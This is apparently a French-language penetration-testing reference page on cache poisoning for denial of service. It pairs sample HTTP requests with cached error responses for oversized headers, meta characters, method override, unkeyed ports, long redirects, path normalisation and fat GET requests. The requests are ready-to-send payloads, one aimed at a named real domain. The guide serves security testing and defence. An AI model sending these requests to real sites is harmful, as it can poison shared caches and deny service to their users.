Cache Poisoning to DoS

Reading time: 4 minutes

• HTTP Header Oversize (HHO)

Envoyez une requête avec une taille d'en-tête supérieure à celle supportée par le serveur web mais inférieure à celle supportée par le serveur de cache. Le serveur web répondra avec une réponse 400 qui pourrait être mise en cache :

GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000

• HTTP Meta Character (HMC) & Valeurs inattendues

Envoyez un en-tête contenant des caractères méta nuisibles tels que et . Pour que l'attaque fonctionne, vous devez d'abord contourner le cache.

GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r

Un en-tête mal configuré pourrait être juste \: comme en-tête.

Cela pourrait également fonctionner si des valeurs inattendues sont envoyées, comme un Content-Type: inattendu.

GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld

• En-tête sans clé

Certains sites web renverront un code d'état d'erreur s'ils voient des en-têtes spécifiques dans la requête comme avec l'en-tête X-Amz-Website-Location-Redirect: someThing:

GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing

HTTP/2 403 Forbidden
Cache: hit

Invalid Header

• HTTP Method Override Attack (HMO)

Si le serveur prend en charge le changement de la méthode HTTP avec des en-têtes tels que X-HTTP-Method-Override, X-HTTP-Method ou X-Method-Override. Il est possible de demander une page valide en changeant la méthode afin que le serveur ne la prenne pas en charge, ce qui entraîne la mise en cache d'une mauvaise réponse :

GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST

• Port non clé

Si le port dans l'en-tête Host est reflété dans la réponse et n'est pas inclus dans la clé de cache, il est possible de le rediriger vers un port inutilisé :

GET /index.html HTTP/1.1
Host: redacted.com:1

HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss

• Long Redirect DoS

Comme dans l'exemple suivant, x n'est pas mis en cache, donc un attaquant pourrait abuser du comportement de réponse de redirection pour faire en sorte que la redirection envoie une URL si grande qu'elle renvoie une erreur. Ensuite, les personnes essayant d'accéder à l'URL sans la clé x non mise en cache recevront la réponse d'erreur :

GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit

GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss

• Normalisation de la casse de l'en-tête d'hôte

L'en-tête d'hôte devrait être insensible à la casse, mais certains sites Web s'attendent à ce qu'il soit en minuscules, renvoyant une erreur s'il ne l'est pas :

GET /img.png HTTP/1.1
Host: Cdn.redacted.com

HTTP/1.1 404 Not Found
Cache:miss

Not Found

• Normalisation des chemins

Certaines pages renverront des codes d'erreur en envoyant des données URLencode dans le chemin, cependant, le serveur de cache URLdecode le chemin et stocke la réponse pour le chemin URLdecoded :

GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com


HTTP/1.1 404 Not Found
Cach:miss

Not Found

• Fat Get

Certains serveurs de cache, comme Cloudflare, ou serveurs web, arrêtent les requêtes GET avec un corps, donc cela pourrait être exploité pour mettre en cache une réponse invalide :

GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3

xyz


HTTP/2 403 Forbidden
Cache: hit

Références

• https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52
• https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------